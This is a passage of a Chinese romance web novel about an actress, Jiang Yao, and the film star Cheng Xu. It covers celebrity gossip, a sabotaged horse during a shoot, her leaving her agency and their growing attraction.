“糖絮竟然真的是真的！”天还没亮就起来梳妆，江遥困得睁不开眼，化妆师杜姐最近和她混熟了，一点不把她当外人。这个点姐妹们都还在梦中，但她实在忍不住交流八卦的心，只好拉着江遥发疯。
江遥没太听清，张嘴打了个哈欠，拖着犹带睡意的嗓音问：“什么是真的？”
杜姐手下忙碌，一时腾不出手，只得朝她摆在桌上的手机努了努嘴：“你打开热搜看看，整个榜单都占满了。”
江遥瞧她按捺不住兴奋的样子，不知道一晚上的功夫又发生了什么大新闻。杜姐在圈内混了这么多年，想来一般的事儿不至于让她这么大反应。反正她也正犯困，不如围观下同行的八卦提神醒脑。
点进微博，什么也刷不出。江遥抬起空白的手机页面给她看，杜姐很有经验：“估计是服务器崩了，你再等等。”
果然十几分钟后，内容终于加载出来——原来是程绪和孟棠又被拍了。深夜聚餐，两人坐在一排，样子看起来非常熟稔，饭后又一起在酒店门口下车。
媒体凭空脑补都能写出八百字小作文，何况这种图文并茂的。整个热搜榜上，都是“糖絮”相关的词条，两人早年间的互动也被挖了出来，以此佐证他们对彼此的特别。
「孟棠明明比程绪大，可是他采访从来都是直呼她名字，有人能懂吗？」
「年下不叫姐，心思有点野。」
网友们疯狂嗑糖，甚至想让他们原地结婚：「就这两人的颜值，不知道以后的孩子颜值有多顶。」
江遥随手点开一个爆料视频，还有营销号特地将模糊的图片放大，给围观群众圈出重点，虽然偷拍的角度不太好，但也明显能看出来程绪正抓着孟棠的手。
下一个视频自动连播，网友将两人早期的各种活动图频剪辑到一起，搭配着0.5倍速和甜蜜小情歌，恋爱中的感觉一下就起来了。
江遥回想了下她记忆中的程绪，两相对比下，好像确实在孟棠面前，还算蛮有人气的。
杜姐还沉浸在“我嗑的CP是真的”的激动中，也没理会江遥什么神色，自顾自开心地忙碌着。
孟棠一觉睡醒，手机里多了很多未接电话，全部来自她的父亲。不知道他又是抽的哪门子的疯，孟棠直接无视，翻身起床。
昨晚多喝了几杯，现在头还有点隐隐作痛。揉着额头走进淋浴间，镜子里照出她素净的脸，没了妆容的掩盖，露出丝丝疲态。
手机铃声突兀地响了起来，大清早这么锲而不舍，估计又是兴师问罪来了。
“让你好好在公司待着，结果你三天都待不住！天天给我上这些乱七八糟的新闻，我看你是嫌我命长！”果然一接起，孟岩劈啦啪啦就是一顿指责。如果她在面前，说不定能直接指着鼻子骂不孝女了。
看来是又上热搜了。
她把手机放在一旁，直接开了外放，掬了把水洗脸。这么抑扬顿挫的男高音，完全能当个洗漱时的背景音听听。
“自己胡闹就算了，还拉着阿绪一起瞎搞，我老脸都要被你丢光了。”不用她接腔，孟岩也能自己把想说的都说完。
拧开口红，将唇色一点点点亮，眼线拖长。她对着镜子满意一笑，很好，又是刀枪不入的孟棠。
“没事我挂了。”没理会对面的暴跳如雷，她说完直接挂了电话。
应该是昨晚聚餐又被拍了。一个私人行程，至于么？看来还是那位太红了。
可以说，她一个多年没怎么出新作品的歌手，这几年最大的热度差不多都是和他那几条零星的新闻贡献的。总共也没见几次面，就被新闻写爱得轰轰烈烈。
不过两人光明正大，用不着对捕风捉影的猜测解释些什么，无形中还能给彼此挡掉一些不必要的麻烦。
和往常一样，她压根没放在心上。
明天要拍骑马戏，江遥今天早早收工养精蓄锐。
水果摊上石榴十块钱三个，小鱼最近被水果刺客伤得不清，好不容易碰到物美价廉的，一口气买了不少，拉着江遥一起消耗。
红得晶莹透亮的石榴被一粒粒剥出，盛放在透明玻璃碗里，很是惹人喜爱。
小鱼边吐籽边跟江遥八卦：“拉手的图片都出来了，一天了也没人澄清，十有八九是真的了。”
江遥腾不出嘴接话，小鱼又自顾自打开了新闻，查看网络上的战况。
程绪不愧是网络票选男神，这么多年没出山，一则疑似恋情的八卦，就让媒体集体赚够了流量。今天在片场也有很多同事讨论这个消息。
有的营销号干脆趁着这波空前的热度，把之前藏着的一些料也放了出来，CP粉们又开始嗷嗷嗑。
小鱼刷着大家嗑生嗑死的物料，突然发现有点不对，拉着江遥一起确认：“这张照片是不是当初他们去酒店捞李然那回，看环境和打扮很像啊。”
“我当时直接不省人事了，都没看到孟棠人。”
“哦对，不过说起来你看这个牵手也很奇怪吧，动作看起来更像是他扶了孟棠一下。”自从发现一个漏洞，看其他的也会越看越不对劲，小鱼现在仿佛福尔摩斯上身，开始戴着放大镜去伪求真。
江遥懒得听她琢磨这些真真假假，干脆自己拿起手机，点进了词条。网友们还在激烈battle，程绪粉丝和CP粉各执一词，在某条粉丝说孟棠喜欢炒作蹭热度的微博下，乐子人骑脸输出：“啊对对对，孟棠都这么面目可憎了，也架不住程绪他超爱啊。”
看得江遥嘴里的石榴直接喷了出来，这个网友是懂得气人的。
她赶紧伸手掸掸屏幕，好死不死，刚好有一粒石榴籽压在了这条评论的点赞按钮上。江遥欲哭无泪，伸出手指，小心翼翼地将石榴籽拨开，祈祷千万不要碰到点赞键。
显然，上天并没有听到她的祈祷，石榴籽挪开，剩下那已经被点亮的按钮和她面面相觑。
“完了，又要上热搜了。”江遥举着自己的手机屏幕给小鱼
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看，一脸生无可恋。
小鱼迅速搞清了状况，眼疾手快，重新在屏幕点了一下：“你赶紧取消啊。”
当然谁都知道，这已经于事无补。这年头大家都在高速冲浪，明星只要手滑，不管反应多快，总能被人截到图。
被这么一打断，小鱼也没了吃瓜的心，只能祈祷热度赶紧下降，不然等会儿这瓜就能吃到自家艺人头上了，毕竟公司可不会花钱给她撤热搜。
眼见着#江遥点赞糖絮#的词条逐渐攀升，两人反倒有种靴子终于落地的平静。都已经这样了，直接装死得了。免得公开说明再闹上热搜，本身不知道的也得知道了。
又在人家的八卦上拱了一把火，也不能完全当无事发生过。江遥主动翻出程绪的微信，态度诚恳掷地有声：「对不起，我不是故意的。」
两人自从加了微信就没联系过几回，突然收到这么条前言不搭后语的消息，程绪疑惑：「？」
江遥心虚：「刚刚吃瓜，不小心点赞了你的新闻……」
程绪手机里都没装这个APP，自然不知道网络上闹得如何不可开交，但杨越作为助理，时刻关注着自家老板的消息。
听程绪问起，他尽职尽责地汇报：“您和孟棠小姐昨晚聚餐时被拍了，还有媒体放出来您俩一起回酒店的照片。就在10分钟前，江小姐微博点赞了您CP粉的言论，这会儿已经上到了热搜榜第8位。”
看着老板脸色越来越冷，杨越赶紧提醒这个疑似失忆的人：“之前您吩咐过，子虚乌有的八卦新闻不需要跟您汇报。”
刚得青苗奖时，不少女人借着各种噱头，想跟这位年轻影帝攀上关系，比如把他当偶像、和他穿同款衣服、前后脚飞同一个城市、发表一些暧昧的言论等等，恨不得一天给他安排一个新女友。
随着热度上升，伴随而来的还有许多乌烟瘴气的新闻，一开始他听着助理汇报，还能当笑话听听，后来直接交代他们，不用搭理。
好在后来随着他的咖位飞速上升，那些作妖的谎言也不攻自破，再有人想蹭热度，都得掂量掂量自己是否经得起被群嘲。而他和她们私下里压根没有交集，媒体想要胡编乱造也找不到目标。
只有后来被零星拍到过几次和孟棠的同框，糖絮CP就一直被人奉成了真糖，但也从来没有媒体敢直接问到本人面前。
后来程绪淡圈，忙着在公司摸爬滚打，这些娱乐圈的八卦自然也淡出了他们的生活，偶尔网友们怀念下古早CP，也翻不起多大的声量。没想到复出没多久，媒体可着劲想薅个大的，短短时间就和孟棠爆了两次热搜。
杨越正纠结要不要向上汇报，没想到被老板亲自问到脸上。程绪想起来是有这么一遭，点点头没有说话。
杨越摸了把脑门上并不存在的汗，当机立断迅速甩锅：“上次上热搜孟棠小姐也知道，不过她说正好借您挡挡桃花。”
他揣摩着老板的意思，再次确认：“需要现在处理吗？”
21. 受惊
程绪没有说话，先回复了江遥：「别信谣。」
江遥看到信息，整个人都是凌乱的，敲敲打打了好一阵，还是不知道该回什么。她干脆一把丢下手机，把脑袋埋在小鱼怀里哀嚎：“丢死人了啊啊啊，我出道这么多年，什么大风大浪没见过，这么手滑一下，竟然背上了信谣的锅！我的一世英名啊谁来还给我！”
小鱼本来微死的心，突然就活了：“这么说他和孟棠是假的咯？我就说总觉得不对劲，看起来他也不是那么没担当的人，果然这对CP有问题。”
她看了眼还在抱着她脖子哼哼唧唧的女人，既然闹了这么多年都没有澄清，为什么突然跟遥遥辟谣呢？原本已经被她默默放下的小心思又开始咕噜咕噜冒泡。
杨越还在等老板的答复，十五分钟过去了，还是毫无动静，难道是他把错脉了？
他忍不住抬头，只见他两手捧着手机，表情空白，不知道手机里有什么吸引人的东西。
其实此刻的程绪正盯着聊天界面的“对方正在输入”看得出神，上方的输入提醒已经消失了好一会儿，手机还是始终安静。小女生的心思，有时候还真不好懂。
敛起情绪，只给杨越留下一句：“你看着处理。”
知道江遥在老板心里的重量，他自然不敢怠慢。很快，程绪工作室账号发布了一则置顶公告，大意是近期关于老板的传闻皆为不实消息，希望大家理性判断。
齐淮紧接着用剧组的官方账号发了三人聚会的合照，配文：“明明是三个人的电影，为什么我却没有姓名？”狠狠给新戏带了一波热度。
粉丝高兴狂欢，CP粉泪洒当场，也有人敏感地发现了不对劲：「既然这是假新闻，程绪这么多年都放任不管，怎么突然选择这个时候发声。莫不是……」至于到底莫不是什么，她也说不出个所以然。
而要问另一个当事人孟棠的感受，那就是震惊，非常震惊。她这个表弟，向来眼高于顶，懒得去关注任何八卦新闻，这次怎么突然转了性。
不知道是谁附上了程绪的身，她也不敢轻举妄动，悄悄找杨越打听：“他这是在发什么神经？”
杨越：“……”不可说不可说。
她太好奇了，只好又摸去找程绪本人：“怎么突然辟谣也不通知我一声，让我一个女生面子往哪搁？”
程绪面无表情，语气戏谑：“哦？昨晚你在酒店门口死活拉着我喊爸爸的时候，怎么不知道自己是女生呢？怎么也没见你要面子呢？”
孟棠：“！！！！你在开什么玩笑！”
程绪：“需要的话我可以去给你调监控。”
孟棠：“谢谢不必了。”
程绪这个魔鬼还在继续补刀：“要不是我拉着你，你都差点给我跪下了。”
听他说得跟真的似的，孟棠也忍不住怀疑自己最近是不是被父亲大人折磨疯了。想想那种场景，冷不丁打了个哆嗦。狠狠给程绪比了个中指，拎着包摔门就走。
门框被震得嗡嗡作响，一旁的手机，却始终安静如初。
第二天江遥在剧组看到杜姐时，她仿佛被伤得不轻。平常还总喜欢边化妆边和江遥侃侃大山，今天却罕见地没有多话，只专注给她上着妆。江遥不知道从何安慰，甚至有点心虚得紧。毕竟追根究底，那则辟谣信息可能还和她有点关系。
不过很快，程绪来探班的消息传到了化妆间，拯救了杜姐的不开心。她一个激动，差点落下泪来：“希望他能早日找到属于自己的幸福。”
江遥看她变脸之快，目瞪口呆。好吧，是我有眼不识泰山，这原来是位隐藏的妈粉。
杜姐收拾好心情，又仔细检查了一下她的造型，红衣猎猎，娇靥如花，确认无误后，江遥翻身上马。
今天要拍的是和男主初相识的镜头，她只需要独自骑马跑出一段距离，再和男主来一个深情对视就算成功过关。一切准备就绪，江遥翻身上马，摄影师镜头立即跟上，经过几天的适应，她和这匹马已经互相熟悉。
江遥轻挥马鞭，马儿如离弦的箭一样奔了出去。马蹄声阵阵，少女笑声如铃，从远处越奔越近。红色的小点渐渐变大，一身如火红裙，渐渐填满了男主的眼睛。
少女抬眸望来，嘴角的笑弧扬起，眼里却充满傲气，毫不客气地打量起这个不速之客。红色裙摆飞扬，灼得他心头发烫。
齐淮看着镜头里默默对视的男女，尽量让自己忽视掉旁边存在感过强的某人。他一动不动站在那儿，眼睛紧紧盯着监视器，看不清眼底的神色。
忽视掉对女演员过分漂亮的容颜，在拍的也不过是场一见钟情的常规戏码，齐淮不懂他一大早站这儿有什么必要。
好在实际效果比他想象中还要完美，他激动得声音都有点变形：“很好！下一条！”
江遥握着缰绳正想下马，身下的坐骑却突然开始躁动，发出长长一声嘶鸣。马蹄高高扬起，江遥没有防备，差点被甩了下去，赶紧抓紧缰绳，不敢轻易再动。
身边工作人员被这意外状况吓了一跳，紧走几步围上前，一时也不知道该如何下手。
“之前拍摄都好好的，这是最温顺的一匹马了。”
“马术指导呢?刚刚还在这的。”
齐淮还沉浸在故事里，摸着下巴又看了一遍回放，手臂拐了下身边的人：“诶，你看……”
伸出的手臂拐了个空，身子失去平衡，差点往一旁栽去。张嘴正想吐槽，但是身边哪里还有人。
马儿踢着蹄子，在片场难耐地走来走去，试图把身上的人甩下来。江遥凭着之前学骑马时的经验，尽量沉下身子，死死贴着马背，小腿抱紧马肚。马儿还在疯狂扭动着身子，她脑袋里乱七八糟转过许多念头，如果真的被摔下去，轻则骨折，重则……万一马发狂后发生踩踏后果还真不好说。
她努力让自己冷静下来，瞥了眼场边，马术指导不见身影，工作人员们犹疑着不敢上前，心情极速坠落，看来真的只能靠自己了。不然身体受罪不说，这部戏肯定也拍不成了。
她回忆着之前看过的紧急下马动作，却怎么也想不起，到底第一步是应该怎么操作。一道清冷的嗓音突然在一旁响起，透过
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喧嚣的人群直直传入耳膜，带着莫名安抚的力度。
江遥抬头，只见程绪拨开外围的人群站在了队伍的最前方，看过来的眼里，不见丝毫慌乱。他就那么直直站着，神色笃定，望着她平静发出指令：“身体尽量放松，先把双脚脱离脚蹬……”
从容的神情，平静的嗓音，渐渐抚平江遥心底的躁动，跟从他的指令，双脚脱蹬，蜷缩四肢，身体自然翻滚。马儿脱离束缚，向着前方跑去，江遥仿佛还没有回过神，躺在地上一动不动。
工作人员快速围了上来，大家手足无措，一个劲儿给江遥道歉：“对不起江老师，您没事儿吧？”有人想要扶起她，却又怕她是哪里受了伤。
齐淮拨开工作人员走了过来，看到江遥还躺在地上，身上灰扑扑的，紧急向前走了几步：“怎么样，没哪里受伤吧？”
江遥摇了摇头，朝他身旁沉默的男人投去感激的一笑。
面前伸出了一只手，手掌宽大，指节干净修长，仿佛足够托起未知的风雨。顺着有力的臂膀向上，是他冷峻的脸庞，只是发丝有些微微凌乱。在喧闹的片场，他无声凝视着他，没有说话，好似能一直这么站着，这么隔着人潮看向她。
她伸出了手，感觉到自己被接住。心脏开始砰砰跳动，她脑袋还有点晕，所以分不清，此刻胸口急促的跳动，是脱离危险后心脏紧张过度的反扑，还是心底无端冒起的渴求。
江遥检查了下自己的状况，确实没什么大问题，齐淮还是不放心：“去医院拍个片子，休息几天。”
真的没有必要。她还想说话，齐淮却出口堵住了她：“检查一下，大家都放心，一切听医生的。你的戏我给你留着。”
话已至此，江遥也不好再坚持什么。
剧组下午还有戏，齐淮脸色愧疚，却到底走不开，程绪主动提议可以帮忙。
齐淮松了一口气，又向江遥道歉，一定会给她一个交代。已经是经验丰富的老马，总不可能无缘无故发狂。
于是江遥和小鱼又坐上了程绪的车。
小鱼眼疾手快，直接拉开副驾驶的门就坐了上去。杨越看到老板去探个班又领回了俩人，已经非常淡定。他一个TOP院校毕业的高材生，自从跟了这个老板，司机、助理、秘书，所有的杂活儿都干了个差不多。
刚刚从意外中脱离，江遥整个人蔫蔫的，垂着头没什么精神，小鱼趴着椅背探出脑袋，小声确认：“姐，你真没事吧？”
江遥给她一个安抚的眼神：“真没事，就是有点困。”
小鱼还是不放心，知道她一向是个很要强的人：“那你有事要跟我说哦，不要硬撑着。你不知道刚刚有多危险，不管怎样，身体都是第一位的。导演也说了角色会给咱们留着。”
“困就睡会儿，大概还得二十分钟。”程绪截断了小鱼的喋喋不休，拍了拍座椅，示意她可以放心睡，“到了我叫你。”
车子越发平稳，向着医院驶去。小鱼坐在副驾驶，看着窗外倒退的风景，她的内心疯狂尖叫。
是吧是吧，一定是她想的那样。
22. 解约
后视镜里，江遥睡得一脸香甜，头慢慢向着一侧滑落。发丝微垂，挡住了她的半边侧脸。
程绪伸手，小心撩开贴在她唇畔的一根发丝，将勾着的头拢向了自己的肩。她匆匆换下了戏服，脸上的妆还没有卸，烈烈红唇微微紧抿，如丝媚眼静静垂落。江遥眉头微微皱起，脑袋拱了拱，换了个姿势，继续沉睡。
小鱼内心弹幕疯狂输出，张张嘴想说您这样是在干什么，当着我的面有点不合适吧。一抬头，和后排的人视线对了个正着，她选择闭上了自己的嘴。
前方红灯，杨越慢慢踩下刹车。看小鱼神思不属，对着她默默耸了耸肩。
不愧是见过大世面的人。小鱼内心愤愤，敢怒不敢言。反正遥遥身边也缺个知冷知热的人，如果是程绪，好像也不是不行。她在内心飞速权衡，最后得出结论：这对CP如果能成，喊她坐主桌就行。
江遥醒来时，觉得触感有点不对。眼睫飞速扇动，偷偷睁开了一只眼，猝不及防对上了程绪垂眸看过来的视线。只见他唇角似笑非笑，眼底闪动着一丝调侃和玩味，和平常不苟言笑的他，简直两个模样。
一睁眼就是这么强烈的视觉冲击，江遥完全没有做好准备，心里一紧，干脆埋头向前贴得更紧。
整张脸埋进他的胸前，只露出小小的脑袋。随着呼吸，微热的气息从胸口开始，流遍四肢百骸。程绪仿佛也没料到事情的走向，垂着手僵着身子没有反应。
小鱼原本就大张的嘴，这会儿更加合不拢：你们什么时候这么熟了！
空气死一般的寂静，江遥怀疑自己的脑袋真的摔出了什么毛病，原本靠着人家的肩膀睡就够奇怪了，往人家胸口钻是什么智障行为！事已至此，她决定选择装死。若无其事地起身，看了看四周的环境，确认：“到了吗？”
程绪看着胸前明晃晃的口红印没有吱声，小鱼在前排眼观鼻鼻观心，内心偷偷回应：“都到了老半天了，谁知道你能睡这么沉，那尊大佛还不让我叫人。”
拍完CT，有点轻微脑震荡。小鱼想着要不住几天院观察观察，被医生挥手赶走了：“多大点事儿，这几天少做剧烈运动就行。”
江遥睡下了，小鱼接到杨越的电话：“下午有人在地上捡到了几个钉子，马术指导说自己突然肚子疼。”
小鱼知道背后的意思，但是不明白：“我们戏份不多，刚刚进组也没得罪什么人。”
杨越提醒：“最后有人指认，是道剧组的一个女孩，已经连夜拎包走人了。她咬死了没松口，只说是单纯看不惯江小姐。之后拍戏，千万留意。”
小鱼点头记下。知道这个女孩的背后，肯定还有人。
齐淮勒令江遥先休息一周再上工，江遥躺在酒店没事，过了两天干脆坐在导演的监视器前，围观其他演员拍戏，看到不理解的也会直接跟导演提。齐淮想赶人还赶不动，演员太上进也让人头疼。他不好对江遥摆脸色，只好掉转了矛头，看着老在他剧组晃的程绪，他终于觉得有点不对劲，没好气地问：“你最近很闲？”
程绪一脸你在开什么玩笑的表情。
杨越心想，闲确实是不闲的，每天回去还有会要开，有文件要批，但刷个存在感的时间还是能抽出来的。
这不，整个剧组都知道程绪和他们导演关系铁，探班还能兼做演技指导，江遥惊马的那天，也是多亏他才没有酿成更大的后果。
这天，江遥正抓着齐淮问某场戏的处理方式，程绪刚好从外面进来，听他们讨论，也说起了自己的见解。江遥越听越佩服，不愧是奖杯拿满的殿堂级演员，和普通演员的思考方式就是不太一样。她突然有点好奇，他是怎么一步步成长到这里。
“我明天就走了。”齐淮刚刚发了一通火，不知道怎么有些人长着一张聪明脸，怎么演起戏来能跟木头一样。他刚坐下来喝了一口水，就听程绪这么说。
程绪天天在组里打转，弄得有些人不是分心就是紧张，拍戏效率直线下降。他正被他晃得头疼，毫不客气挥手让他赶紧走。
一旁江遥听到，没有说话。知道导演正在气头上，干脆早早回了酒店，准备随便找个电影看看。
电视机打开，程绪放大的脸出现在屏幕上，倒把江遥吓了一跳。不过她很快反应过来，屏幕中的脸，看起来还很年轻，比现在的样子多了一丝青涩，那是她没有见过的模样。电影频道正在重播程绪的第一部电影。
心里悬着事就不踏实，她从床头滚到床尾，还是认命地给他发了个消息。人家帮了她一把，怎么说都得在离开前感谢一下。
摇啊摇：「你明天什么时候走?方便的话我请你吃个饭。」
程绪唇角微翘，一欠人情就浑身难受，果然是过多久都改不了。
C：「明天下午走，上午听你的。」
摇啊摇：「好嘞，想吃点什么?」
C：「到时再看。」
齐淮忙活了一上午，安静下来，才发现勤学苦问的江遥今天一直没有出现，程绪那个最近雷打不动天天报道的人，也没见了踪影。哦对，他昨天说要回去的。齐淮摸了摸下巴，总觉得有哪里不太对。
被念叨的两人正坐在咖啡厅的二楼，看着街边来来往往的人群出神。当然，出神的只是江遥。
昨晚Susie姐通知她，今天下午公司会公开发布解约通告。她从没毕业就签在这家公司，虽然早就知道双方立场不同不可能继续，但当真的走到这一步，还是免不了唏嘘。
轻音娱乐是她成长的见证，也是她必不可少的一段人生旅程。她从这里起航，搁浅，又从这里再次走出。不知前路如何，只有紧握的梦想，以及未竭的勇气。
Susie絮絮叨叨交代着一些收尾的工作，她平静地一一记下。这一行来来往往本为常态，送走江遥，就如同送走往常的任何一个过客，她本是这样以为的。话到最后，也只能说，很遗憾暂时只能陪你走到这里了。
江遥能听出她的不舍，但每个人都有自己的路要走。而小鱼早已说好，会陪她重新上路。
她托腮望着窗外没有说话，眼神惆怅，他也就静静
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地望着她，装作什么也不知道。
突然，江遥转回身，语气轻飘地问起他：“你也有过迷茫的时候吗?”
她用的词是“也”。无辜的眼睛定定望着他，就像失路的小鹿找不到正确的出口，急需人指一条明路。程绪心里一抽，放下咖啡，向着她肯定点头：“当然。”
听他这样说，江遥倒是笑了开来，眼底的茫然褪去，自己先解释了失态的缘由：“今天我和公司解约了，晚点就会发公告。”
艺人和公司从来都是合则聚不合则散，解约司空见惯。程绪想起来杨越之前说轻音娱乐给她爆料的事，也懒得问中间的波折，总归不太好受就是了，只问她：“接下来有什么打算?”
江遥暂时没有太长远的计划，摇摇头：“先把这部戏拍完，之后再慢慢试镜吧。”
他没有就这事发表任何意见，只是自顾自地开始和她说起自己的经历：“我上大学时还不知道自己之后会从事表演行业，后来机缘巧合入了行，台词、走位这些基本的东西都得从头开始学。”
江遥这才想起来，确实，程绪目前的成就，总会让人忘记，其实他并不是科班出身的演员。和他相比，自己倒多了几年学表演的经历。
“拍第一部戏时，碰到一位老演员，大家在他面前都毕恭毕敬，我刚来什么都不懂，结果和他搭戏时被故意压戏，一个镜头拍了十几条，被导演骂了个狗血淋头。”
有些老演员是会这样故意欺负人的，气场全开压得新人根本接本接不上戏，只能自乱阵脚。原来影帝还有这样不为人知的经历，江遥好奇：“你第一部戏不是得奖的那个吗?”
“不是，我之前还当过群演，没几分钟戏份。”程绪很快否认，一点也不避讳提起自己并不怎么金光闪闪的过去。
“那大家怎么都不知道？”江遥随口问道。只知道他是天才型的演员，第一部戏就拿了影帝，后来更是事业运爆棚，拿奖拿到手软，可从没听人说起过他是群演出身。
说完江遥也反应了过来，群演就是剧组最底层的打工人，见谁都得点头哈腰，被所有人呼来喝去，戏份少在演员表里也不会署名。尤其是他还长着这样一张脸，妆肯定得往糙里化。黑粉一涂，血浆一打，说不定站亲妈跟前都不认识。他自己不提，别人自然也就不知道。
有些群演出身的演员会大谈特谈自己草根时的经历，打上励志的标签被人四处传阅。但说起程绪，大家提起的都是天才、天赋，或与之相关的一切词组，仿佛他打娘胎起就会拍戏，他的努力自然也被理所当然地忽视，从未有人提及。
“那你是怎么坚持下来的呢？”从一个群演走到现在的地位，背后肯定还有许多不为人知的故事。
程绪仿佛陷在了某一段回忆里，望着她目光幽深，嘴角带着显而易见的笑弧：“因为曾经有人跟我说，想赢就不能怕输，错过永比后悔来得残酷。所以我只能一直往前走。”
“所以我也只用一直往前走。”江遥得出结论，看着他的眼睛满是坚定，她说：“因为我还想赢。”
23. 云端跌落
知道她早已经做好决定，也做好准备面对前路的荆棘，他端起杯子，轻轻和江遥碰了下杯：“祝你成功，江老师。”
戏谑的语气，听得江遥脸颊发烫，却也假模假样接住了他的话：“借你吉言，程老师。”
说完，两人对视一眼，莫名其妙地笑了起来。虽然唇角牵起的弧度不大，但江遥确认，他现在是开心的。从她认识他开始，见过最开怀的笑容。
“砰！”人声鼎沸的包厢里，酒瓶碎裂声响起。
众人抬眼望向坐在主位的宋青卓，角落里的人甚至完全不知道发生了什么。
王磊摸了摸脸上的汗，呵呵笑着上前打圆场：“消消气消消气。”
宋青卓从国外回来，哥几个寻思着给他办个接风宴，结果圈子里的人知道了，乌央乌央来了好多人。毕竟宋家大少爷，谁都想舔着脸来攀个交情。原定的小规模聚会，最终成了大众Party，有不懂事的甚至带来了几个小明星。
有人喝嗨了，开始说起孟棠。在B城，有宋青卓在的地方，谁能不想起孟棠呢？
他大着舌头：“孟棠那个女人，圈子里谁不把她当笑话？当初恬不知耻想往卓哥身上蹭，卓哥不上钩，就开始玩起了小明星。”
“听说和程绪也一直不清不楚的，听了人犯恶心。不知道卓哥在想什么，还让她占着未婚妻的名头。”
有知道内情的偷偷透露：“听说是她母亲还在的时候，求着卓哥点头的，这人都不在了不是纯纯让卓哥背骂名嘛？”
那人一听更是气坏了，嗓门大得周边人都能听清：“一个破鞋不知道傲个什么劲。现在被程绪玩腻了，估计又得哭着回来求卓哥上了。”
话音刚落地，有什么东西呼啸而来，他感觉脑袋一痛，有水哗啦啦顺着额头开始往下流。抬手一摸，红的。
宋青卓坐在主位，身子懒懒倚着椅背，眼神锐利如刀：“我的未婚妻，也是你配觊觎的？”
如果他没记错，当初给孟棠塞情书的人里是有这么号人吧。
下午轻音娱乐发布了和江遥解约的消息，江遥登上微博，转发了这条公告。有零星的粉丝在评论区和私信留言，给她加油打气，希望她一切都好。属于江遥的故事，从此翻开了新的篇章。
汪静静已经进了新的剧组，下戏后看到消息，抽空给她打电话：“希望你以后在想走的路上越走越宽。”
以后的事江遥自己也说不准，她正对着程绪的签名照出神。
化妆师杜姐知道她和程绪认识，撒娇打滚拜托她帮忙要个签名，软磨硬泡了好几天，想想反正明天也得见面，她干脆松口答应。
谁知道下一秒杜姐变戏法似的从包里倒出几十张程绪的明信片，从出道到现在的照片都有，五花八门。江遥对着这一沓东西束手无策，表示就凭自己和他那交情，估计最多只能签个两三张。但是每张明信片都是杜姐的小宝贝，她实在难以取舍，全部托付给了江遥，让她看着办。
江遥无奈，今天出门吃饭时，干脆把杜姐给的一摞明信片都带上了，准备到时候看程绪反应再见机行事。
两人喝完咖啡准备离开，江遥拎起包，才想起来还有大事没办。赶紧从包里掏出东西，问程绪能不能帮帮忙：“她真是你的忠实粉丝，知道你CPBE了还伤心了老半天。”
说完怕不够有说服力，毕竟忠实粉丝他应该见多了，想想又强行给杜姐加戏：“出门时她还拉着我的手，让我一定要告诉你，她最大的梦想就是祝你早日找到幸福。”
程绪没太懂她中间那句话意思，但也不妨碍他知道，她口中的杜姐，是一个希望他早日找到幸福的忠实粉丝，而她一般也不爱麻烦别人，看来两人处得还可以。他重新拉开椅子坐下，朝她伸出了手。
印着自己照片的明信片在面前一字排开，有很多他都完全没有印象，应该是早些年的照片。江遥贴心地递上笔，微笑着鼓励道：“签吧。”
于是后来事情就发展成，程绪坐在一侧“唰唰”签名，江遥端着咖啡在另一边慢慢细品。他低着头，敛起了冷冽的双眸，整个人看起来竟分外温柔。
程绪签完名抬起头来，江遥正直勾勾望着他，嘴唇上还沾着咖啡沫，却笑得明亮极了：“效率真快！”
也许是气氛太好，她的眼睛太闪亮，程绪下意识伸出了手。也许是他伸手的动作太快，太理所当然，江遥呆呆地没有躲开。
手指捻上唇珠的那一刻，两个人都呆住了。修长清瘦的指节带着烫人的温度，在她的唇上放了一把火，烧得她脑袋嗡嗡作响，身体却自动发出警报，提醒她不要再往前走，她猛地撇过头，免得自己落入万劫不复。
孤零零的手臂伸在半空中，他似乎也忘了反应，半晌才慢慢收回手指，在身侧攥紧。她撇过头没有再看他，他喉结滚了滚，最后也只是吐出一句：“抱歉……”后面的话，却也没再说出口。
抱歉什么呢？他不知道。却知道自己不知不觉中已经离她过近，而她显然还习惯不了这样的接近。
之后两人言不由衷地说了什么，江遥早已记不清。下午他会离开这里，而她会留在这里继续拍戏。冷静一下吧江遥，她告诉自己。
杜姐收到照片的时候，恨不得抱着江遥亲上两口：“你真的太谦虚了，之前还说只能签到两三张，我做梦都不敢梦能够拥有这么多签名照！”
她从一堆照片里挑出几张，依依不舍地递给江遥，说是给她的酬劳。江遥哭笑不得，伸手接过。
最上面那张是电影剧照，他只穿着一个背心，皮肤比现在黑上几层，眼眼盯着屏幕外，像是能看穿人心。江遥挪开目光，漫不经心翻起下一张，那应该是某个时尚活动的红毯照片，看背景有点眼熟。杜姐见她有兴趣，兴致勃勃在一旁当解说：“这是好多年前的照片了，X家的活动，本来之前都说行程冲突不去的，后面不知道怎么突然就空降了，粉丝们都不敢相信。”
被她这么一说，江遥想起来，X家的活动啊，那她当年也是参加过的。
杜姐还在
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继续喋喋不休：“把这张照片送给你，是想祝你以后也能拥有许多未知的惊喜。遥遥，大胆往前走吧，我相信你。”
江遥解约的新闻已经在网上发酵了个差不多，杜姐这样的冲浪达人自然也看到了相关消息，她用自己的方式，笨拙地给予她慰藉。江遥抬手抱住了她：“谢谢你。”
杜姐不太适应这样煽情的气氛，拍了拍江遥的肩膀，又继续翻看起她的珍藏。程绪真的是个很好很好的人，她抚摸着某张采访的照片，上面是他龙飞凤舞的签名，还有一句：“祝你梦想成真。”
因为江遥表现不错，某个女配演起戏来却总像个呆头鹅，齐淮死了不少脑细胞，干脆一挥手将她的戏份加了加。本来几分钟的戏份，现在变成了十几分钟。
她在剧组过着早起贪黑的生活，也不管外面是怎样的风雨飘摇。小鱼关注着网络上的新闻，也懂事地没有打扰她心情。这么多年，遥遥应该已经习惯了，反正来来回回就是那么些料，只是这次来势更加凶猛。
解约后没有强大的公司依靠，可不就任谁都能踩一脚，说不定还有老东家在背后推波助澜。
江遥出道时凭一部古装剧爆红，从一个纯素人跻身当红炸子鸡行列，紧接着和当红小生宴池拍了部热播偶像剧，虽然没有再次大爆特爆，但流量更上一层。所有人都预言，她将走出自己的一条通天道。公司和资本市场纷纷将宝押在了她身上。
就在这样事业如日中天的时候，当时的经纪人告诉她，下部戏给她接了一个电影，是公司为她量身打造的大IP，投资几十亿，剧本扎实，连配角也都是老戏骨。江遥听着她嘴里不断吐出不少老前辈的名字，也曾有过短暂的迷失：我竟然真的走到了这里，我原来真的可以。
